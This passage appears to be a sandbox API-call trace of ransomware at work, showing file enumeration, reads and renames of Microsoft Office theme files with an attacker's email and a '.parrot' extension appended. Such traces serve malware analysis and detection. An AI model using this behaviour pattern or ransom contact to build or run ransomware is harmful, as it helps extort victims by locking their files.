"c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.626] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.627] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.627] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x79f8, lpOverlapped=0x0) returned 1 [0160.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.629] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.637] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.637] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.639] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.639] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b778, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b778, lpOverlapped=0x0) returned 1 [0160.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.654] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0160.655] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebcb05c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xebcb05c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.655] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeaf268a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5388, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADJACE~1.PAR")) returned 1 [0160.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0160.656] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0160.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0160.657] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.658] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0160.658] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0160.658] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0160.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0160.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.659] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.662] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.663] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe19, lpOverlapped=0x0) returned 1 [0160.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.663] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.667] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.667] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.669] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.669] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe2a, lpOverlapped=0x0) returned 1 [0160.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.669] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.673] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.673] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.675] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.675] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeee, lpOverlapped=0x0) returned 1 [0160.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.676] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.680] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.680] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.684] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe1f, lpOverlapped=0x0) returned 1 [0160.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.689] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.692] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.692] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe0b, lpOverlapped=0x0) returned 1 [0160.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.693] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.693] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.693] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.698] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.698] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.699] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe16, lpOverlapped=0x0) returned 1 [0160.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.710] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.710] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.712] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xefb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xefb, lpOverlapped=0x0) returned 1 [0160.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.713] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.718] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.718] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.720] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe1f, lpOverlapped=0x0) returned 1 [0160.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.725] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.725] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.726] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.727] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe0f, lpOverlapped=0x0) returned 1 [0160.727] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.727] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.727] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.727] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.732] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.733] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.733] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe0e, lpOverlapped=0x0) returned 1 [0160.733] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.733] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.733] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.733] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0160.738] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.738] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0160.739] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.739] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdc6, lpOverlapped=0x0) returned 1 [0160.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0160.740] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0160.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0160.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program 